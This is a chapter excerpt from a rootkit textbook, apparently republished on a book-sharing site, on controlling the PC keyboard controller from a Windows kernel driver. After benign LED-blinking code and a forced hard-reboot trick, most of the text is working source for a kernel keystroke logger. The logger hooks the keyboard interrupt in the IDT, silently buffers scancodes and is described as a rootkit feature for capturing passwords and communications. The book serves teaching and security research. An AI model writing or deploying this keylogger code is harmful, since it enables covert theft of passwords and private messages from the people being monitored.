Example: Accessing the Keyboard Controller

 < Day Day Up > 

Now that you know the ins and outs of addressing hardware, let's put that knowledge to use and access some hardware. In our example, we'll access the keyboard controller.

The keyboard is the main hardware interface between a user and the machine. Look at all those keys: It's one of the most complex interfaces ever devised. The keyboard is the source of many secrets not the least of which is the coveted password. But even beyond passwords, all online communication including e-mail and instant messaging must pass through the keyboard. As the source of nearly all user-provided information, the keyboard is something many people want to "sniff." There are many ways to do this, but the subject of this chapter is hardware, so let's figure out how to do it using the keyboard controller chip.

The 8259 Keyboard Controller

It's very simple to control a chip, assuming you know its address; usually, the process is as simple as using the in and out assembly instructions. The 8259 keyboard controller on most PCs is addressable at addresses 0x60 and 0x64. These locations are sometimes called ports, as each provides a portal into the hardware chip.

When using the DDK, you should have a few macros available to read and write to these ports:

 READ_PORT_UCHAR( ... ); WRITE_PORT_UCHAR( ... ); 

Alternatively, you could use the direct assembly instructions:

 in out 

So, what can you do with the keyboard port? Most obviously, you can read the keystroke! Also, you can place a keystroke into the keyboard buffer. You can also change the settings of the LED indicators on the keyboard. By playing around with the keyboard indicators, you can see instant results of your work.

Changing the LED Indicators

The command to set the LEDs is 0xED. The 0xED byte must first be sent to the keyboard controller before we can blink the LED lights. This command is sent to port 0x60, followed immediately by another byte to indicate which LEDs to set. The second byte indicates which LEDs to set in the lower 3 bits of the value.

Figure 8-6 shows the data byte that is used with the 0xED command.

Figure 8-6. The data byte used with the 0xED command.


Here's a simple approach for setting all the indicators:

 WRITE_PORT_UCHAR( 0x60, 0xED ); WRITE_PORT_UCHAR( 0x60, 00000111b); 

The problem with this direct approach is that we don't wait for the keyboard to be ready to receive the commands. If the keyboard is busy handling keystrokes, this approach may cause problems. Oftentimes with hardware, we must wait for the chip to become ready. If we try to send data when the chip is not ready, usually nothing happens. Sometimes, however, the hardware could become confused and cause a crash.

The following code illustrates setting the LEDs while "playing nice" with the keyboard hardware. Notice that any use of the DbgPrint statement is commented out. This is very important. If you use the DbgPrint statement within tight routines and interrupt handlers, problems can sprout up. You may get lucky and have DbgPrint work for you. But you may also freeze the machine or cause a Blue Screen of Death.

Rootkit.com

The keyboard driver example can be downloaded from rootkit.com at www.rootkit.com/vault/hoglund/basic_hardware.zip


The following driver uses a timer to change the LED status every few milliseconds. The timer is stored as gTimer. When the timer expires, a deferred procedure call DPC is scheduled. This is stored as gDPCP. The DPC is effectively a callback into the TimerDPC() function, which we set up and control.

 PKTIMER   gTimer; PKDPC     gDPCP; UCHAR     g_key_bits = 0; // command bytes #define SET_LEDS        0xED #define KEY_RESET       0xFF // responses from keyboard #define KEY_ACK         0xFA   // ack #define KEY_AGAIN       0xFE   // send again 

The terms used to describe data exchanged with the two keyboard ports are STATUS BYTE, COMMAND BYTE, and DATA BYTE. The correct term to use depends on whether you are reading from or writing to a given port (see Figure 8-7).

Figure 8-7. Ports on the keyboard controller.


 // 8042 ports // When you read from port 60, this is called STATUS_BYTE. // When you write to port 60, this is called COMMAND_BYTE. // Read and write on port 64 is called DATA_BYTE. PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60; PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64; // status register bits #define IBUFFER_FULL      0x02 #define OBUFFER_FULL      0x01 // flags for keyboard LEDS #define SCROLL_LOCK_BIT  (0x01 << 0) #define NUMLOCK_BIT      (0x01 << 1) #define CAPS_LOCK_BIT    (0x01 << 2) 

The WaitForKeyboard function does exactly what the name implies. The function loops, reading port 64 until the IBUFFER_FULL flag is cleared.

This indicates the keyboard is ready for commands. Notice that the DbgPrint statement is commented out to prevent instability. Notice also the use of the KeStallExecutionProcessor to stall the CPU for a certain number of microseconds.[3] This stall gives the keyboard a chance to finish what it was previously doing.

[3] It is recommended that you never use KeStallExecutionProcessor for longer than 50 microseconds.

 ULONG WaitForKeyboard() {    char _t[255];    int i = 100;   // number of times to loop    UCHAR mychar;    //DbgPrint("waiting for keyboard to become accessible\n");    do    {       mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );       KeStallExecutionProcessor(50);       //_snprintf(_t, 253, "WaitForKeyboard::read byte %02X       //          from port 0x64\n", mychar);       //DbgPrint(_t);       if(!(mychar & IBUFFER_FULL)) break;   // if the flag is                         // clear, we go ahead    }    while (i--);    if(i) return TRUE;    return FALSE; } 

If there are keystrokes in the keyboard buffer, the DrainOutputBuffer function will retrieve all the keystroke data (it "drains" the buffer).

 // Call WaitForKeyboard before calling this function. void DrainOutputBuffer() {    char _t[255];    int i = 100;   // number of times to loop    UCHAR c;    //DbgPrint("draining keyboard buffer\n");    do    {       c = READ_PORT_UCHAR(KEYBOARD_PORT_64);       KeStallExecutionProcessor(666);       //_snprintf(_t, 253, "DrainOutputBuffer::read byte       //          %02X from port 0x64\n", c);       //DbgPrint(_t);       if(!(c & OBUFFER_FULL)) break;   // If the flag is                         // clear, we go ahead.       // Gobble up the byte in the output buffer.       c = READ_PORT_UCHAR(KEYBOARD_PORT_60);       //_snprintf(_t, 253, "DrainOutputBuffer::read byte       //          %02X from port 0x60\n", c);       //DbgPrint(_t);    }    while (i--); } 

The SendKeyboardCommand function first waits for the keyboard to become ready, then drains the output buffer, and finally sends a command to port 60. This is the "nice" way to send commands to the keyboard controller.

 // Write a byte to the data port at 0x60. ULONG SendKeyboardCommand( IN UCHAR theCommand ) {    char _t[255];    if(TRUE == WaitForKeyboard())    {       DrainOutputBuffer();       //_snprintf(_t, 253, "SendKeyboardCommand::sending byte       //          %02X to port 0x60\n", theCommand);       //DbgPrint(_t);       WRITE_PORT_UCHAR( KEYBOARD_PORT_60, theCommand );       //DbgPrint("SendKeyboardCommand::sent\n");    }    else    {       //DbgPrint("SendKeyboardCommand::timeout waiting                for keyboard\n");       return FALSE;    }    // TODO: wait for ACK or RESEND from keyboard.    return TRUE; } 

The SetLEDS function takes a byte argument where the lower 3 bits indicate which LEDs should be illuminated:

 void SetLEDS( UCHAR theLEDS ) {    // setup for setting LEDS    if(FALSE == SendKeyboardCommand( 0xED ))    {       //DbgPrint("SetLEDS::error sending keyboard command\n");    }    // send the flags for the LEDS    if(FALSE == SendKeyboardCommand( theLEDS ))    {       //DbgPrint("SetLEDS::error sending keyboard command\n");    } } 

We make sure to cancel the timer if the driver is unloaded:

 VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) {    DbgPrint("ROOTKIT: OnUnload called\n");    KeCancelTimer( gTimer );    ExFreePool( gTimer );    ExFreePool( gDPCP ); } 

The timerDPC function is called whenever the timer expires. In this example, the global value, g_key_bits, is rotated through all possible values of the three indicated LEDs. This creates an interesting pattern of flashes with the keyboard lights.

 // called periodically VOID timerDPC(IN PKDPC Dpc,               IN PVOID DeferredContext,               IN PVOID sys1,               IN PVOID sys2) {    //WRITE_PORT_UCHAR( KEYBOARD_PORT_64, 0xFE );    SetLEDS( g_key_bits++ );    if(g_key_bits > 0x07) g_key_bits = 0; } 

Notice the setup of the timer and the deferred procedure call. The timer is set to 10 ms, which means to fire the first timer event in 10 ms.[4] The negative number is used to indicate relative time rather than absolute time.

[4] The smallest interval of time that can be scheduled is 10ms the timer resolution cannot handle anything smaller than this.

More importantly, pay close attention to the timeout period specified in KeSetTimerEx. This is the time between DPC events that will change the LEDs on the keyboard.

 NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ) {    LARGE_INTEGER timeout;    theDriverObject->DriverUnload  = OnUnload;    // These objects must be non-paged.    gTimer = ExAllocatePool(NonPagedPool,sizeof(KTIMER));    gDPCP = ExAllocatePool(NonPagedPool,sizeof(KDPC));    timeout.QuadPart = -10;    KeInitializeTimer( gTimer );    KeInitializeDpc( gDPCP, timerDPC, NULL );    if(TRUE == KeSetTimerEx( gTimer, timeout, 1000, gDPCP))    {       DbgPrint("Timer was already queued..");    }    return STATUS_SUCCESS; } 

We have now illustrated several important techniques, including use of macros for hardware access, timing considerations, reading and writing commands from and to a hardware microchip, and the use of a DPC timer. We now expand upon this code to perform more-advanced manipulation of the keyboard.

Hard Reboot

One little-known fact about the keyboard controller is that it has a direct line to the CPU. That's right like a red phone on the desk of the president, this little microchip buried deep in the computer has a line directly to the RESET pin on the CPU. It's not only a red phone, but a really powerful one: It can reboot the machine. And it does this immediately and without fanfare. No shutdown sequence; no chance to recover.

This function exists as a throwback to the days when computers had real reset buttons on them. The use of that button was handled by the keyboard controller.

To see this in effect, simply uncomment the line in the previous example that sends byte 0xFE to the port 0x64. It will cause a hard reboot.

This is a contrived example, given that we are already in the kernel and can issue a reset directly to the CPU, or a HALT or whatever we want. However, the exercise does illustrate some of the weird stuff you can do with hardware.

Keystroke Monitor

To do something truly useful, we must start sniffing keystrokes. Not all keyboards are created equal so this code may not work on your system. Plus, if you're using VMWare or VirtualPC to test your rootkits, the "hardware" is entirely virtual and may work differently than expected.

The first task in sniffing a keystroke is to determine the interrupt that fires when a key is pressed. On my Win2k machine, this interrupt is 0x31. However, every machine is different. The only sure-fire way to detect the proper interrupt is to determine what interrupt is tied to IRQ 1 in the PIC (Programmable Interrupt Controller). IRQ 1 handles the keyboard. One method of doing this involves parsing the HAL.DLL image in the kernel.[5]

[5] See B. Jack, "Remote Windows Kernel Exploitation: Step into the Ring 0" (Aliso Viejo, Cal.: eEye Digital Security, 2005), available at: www.eeye.com/~data/publish/whitepapers/research/OT20050205.FILE.pdf

Interrupts need to be serviced immediately and without delay. The "correct" way to deal with an interrupt is to schedule a deferred procedure call to handle any processing of the data received. The interrupt handler itself should only schedule the DPC and work with the device that issued the interrupt. Further processing should be handled in the DPC. In our example, we don't use a DPC; rather, we simply store the keystroke.

Rootkit.com

The code for the example basic_keysniff can be downloaded from rootkit.com at: www.rootkit.com/vault/hoglund/basic_keysniff.zip


The defines at the top of our file look very similar to code we have already seen. We are combining an interrupt hook with code to read from and write to the keyboard chip.

 #define MAKELONG(a, b) ((unsigned long)          (((unsigned short) (a)) | ((unsigned long)          ((unsigned short) (b))) << 16)) //#define NT_INT_KEYBD          0xB3 #define NT_INT_KEYBD            0x31 // commands #define READ_CONTROLLER    0x20 #define WRITE_CONTROLLER   0x60 // command bytes #define SET_LEDS         0xED #define KEY_RESET        0xFF // responses from keyboard #define KEY_ACK            0xFA   // ack #define KEY_AGAIN          0xFE   // send again // 8042 ports // When you read from port 60, this is called STATUS_BYTE. // When you write to port 60, this is called COMMAND_BYTE. // Read and write on port 64 is called DATA_BYTE. PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60; PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64; // status register bits #define IBUFFER_FULL      0x02 #define OBUFFER_FULL      0x01 // flags for keyboard LEDS #define SCROLL_LOCK_BIT      (0x01 << 0) #define NUMLOCK_BIT      (0x01 << 1) #define CAPS_LOCK_BIT    (0x01 << 2) /////////////////////////////////////////////////// // IDT structures /////////////////////////////////////////////////// #pragma pack(1) // Entry in the IDT: This is sometimes called // an "interrupt gate." typedef struct {    unsigned short LowOffset;    unsigned short selector;    unsigned char unused_lo;    unsigned char segment_type:4;   // 0x0E is an interrupt gate.    unsigned char system_segment_flag:1;    unsigned char DPL:2;         // descriptor privilege level    unsigned char P:1;          /* present */    unsigned short HiOffset; } IDTENTRY; /* sidt returns idt in this format */ typedef struct {    unsigned short IDTLimit;    unsigned short LowIDTbase;    unsigned short HiIDTbase; } IDTINFO; #pragma pack() unsigned long old_ISR_pointer;   // Better save the old one! unsigned char keystroke_buffer[1024]; // Grab 1k keystrokes. int kb_array_ptr=0; 

The following routines have already been discussed, so the redundant code has been removed from the listing here.

 ULONG WaitForKeyboard() {    ... } // Call WaitForKeyboard before calling this function. void DrainOutputBuffer() {    ... } // Write a byte to the data port at 0x60. ULONG SendKeyboardCommand( IN UCHAR theCommand ) {    ... } 

The unload routine not only removes the interrupt hook, but also prints the contents of the keystroke capture buffer. Within this routine, calling DbgPrint is safe; it will not cause any crashes or instability.

 VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) {    IDTINFO      idt_info;   // This structure is obtained // by calling STORE IDT (sidt),    IDTENTRY*   idt_entries;   // and then this pointer is // obtained from idt_info.    char _t[255];    // Load idt_info.    __asm   sidt   idt_info    idt_entries = (IDTENTRY*) MAKELONG( idt_info.LowIDTbase, idt_info.HiIDTbase);    DbgPrint("ROOTKIT: OnUnload called\n");    DbgPrint("UnHooking Interrupt...");    // Restore the original interrupt handler.    __asm cli    idt_entries[NT_INT_KEYBD].LowOffset =  (unsigned short) old_ISR_pointer;    idt_entries[NT_INT_KEYBD].HiOffset =  (unsigned short)((unsigned long) old_ISR_pointer >> 16);    __asm sti    DbgPrint("UnHooking Interrupt complete.");    DbgPrint("Keystroke Buffer is: ");    while(kb_array_ptr--)    {       DbgPrint("%02X ", keystroke_buffer[kb_array_ptr]);    } } 

Our hook routine grabs the keystroke from the keyboard buffer and stores it in a global buffer. In some cases, the keystroke must be put back into the buffer but the code for doing so is commented out in the example. Some systems do not require the keystroke to be put back. Experiment to determine the behavior on your system.[6]

[6] A contributor to rootkit.com, Dsei, has stated: "The data isn't removed from port 60h until you read the status bits at port 64h." Dsei added, "Trying to stuff the scancode back in the buffer seems to cause the machine to die violently when you're using a PS/2 mouse." Dsei, "Re: A question about the port read," www.rootkit.com.

 // Using stdcall means that this function fixes the stack before // returning (opposite of cdecl). void __stdcall print_keystroke() {    UCHAR c;    //DbgPrint("stroke");    // Get the scancode.    c = READ_PORT_UCHAR(KEYBOARD_PORT_60);    //DbgPrint("got scancode %02X", c);    if(kb_array_ptr<1024){       keystroke_buffer[kb_array_ptr++]=c;    }    // Put scancode back (works on PS/2).    //WRITE_PORT_UCHAR(KEYBOARD_PORT_64, 0xD2); // command to    // echo back scancode    //WaitForKeyboard();    //WRITE_PORT_UCHAR(KEYBOARD_PORT_60, c);  // write the scancode // to echo back } 

The interrupt hook is written as hand-coded assembly. It ensures that we don't corrupt any important registers and allows us to call our hook routine.

 // Naked functions have no prolog/epilog code - // they are functionally like the // target of a goto statement. __declspec(naked) my_interrupt_hook() {    __asm    {       pushad      // Save all general-purpose registers.       pushfd      // Save the flags register.       call   print_keystroke   // Call function.       popfd            // Restore the flags.       popad            // Restore the general registers.       jmp      old_ISR_pointer   // Go to the original ISR.    } } 

The DriverEntry routine simply places our interrupt hook:

 NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ) {    IDTINFO      idt_info;   // This structure is obtained // by calling STORE IDT (sidt)    IDTENTRY*   idt_entries;   // and then this pointer is // obtained from idt_info.    IDTENTRY*   i;    unsigned long    addr;    unsigned long   count;    char _t[255];    theDriverObject->DriverUnload  = OnUnload;    // Load idt_info.    __asm   sidt   idt_info    idt_entries = (IDTENTRY*) MAKELONG( idt_info.LowIDTbase, idt_info.HiIDTbase);    for(count=0;count < MAX_IDT_ENTRIES;count++)    {       i = &idt_entries[count];       addr = MAKELONG(i->LowOffset, i->HiOffset);       _snprintf(_t, 253, "Interrupt %d: ISR 0x%08X",  count, addr);       DbgPrint(_t);    }    DbgPrint("Hooking Interrupt...");    // Let's hook an interrupt    // exercise - choose your own interrupt.    old_ISR_pointer = MAKELONG( idt_entries[NT_INT_KEYBD].LowOffset,     idt_entries[NT_INT_KEYBD].HiOffset); // Debug - use this if you want some additional info on what is going on. #if 1    _snprintf(_t, 253, "old address for ISR is 0x%08x",     old_ISR_pointer);    DbgPrint(_t);    _snprintf(_t, 253, "address of my function is 0x%08x",     my_interrupt_hook);    DbgPrint(_t); #endif    // Remember, we disable interrupts while we patch the table.    __asm cli    idt_entries[NT_INT_KEYBD].LowOffset =  (unsigned short)my_interrupt_hook;    idt_entries[NT_INT_KEYBD].HiOffset =  (unsigned short)((unsigned long)my_interrupt_hook >> 16);    __asm sti // Debug - use this if you want to check what is now placed in the interrupt vector #if 1    i = &idt_entries[NT_INT_KEYBD];    addr = MAKELONG(i->LowOffset, i->HiOffset);    _snprintf(_t, 253, "Interrupt ISR 0x%08X", addr);    DbgPrint(_t); #endif    DbgPrint("Hooking Interrupt complete");    return STATUS_SUCCESS; } 

We have now illustrated a more useful rootkit one that can sniff keystrokes. This is a good starting point, since keystroke monitoring is a fundamental feature for a rootkit. Keystroke monitors can be used to capture passwords and communications.

Now we wrap up this chapter by touching on the advanced concept of microcode modification.

     < Day Day Up > 


    Rootkits(c) Subverting the Windows Kernel
    Rootkits: Subverting the Windows Kernel
    ISBN: 0321294319
    EAN: 2147483647
    Year: 2006
    Pages: 111

    flylib.com © 2008-2017.
    If you may any questions please contact us: flylib@qtcs.net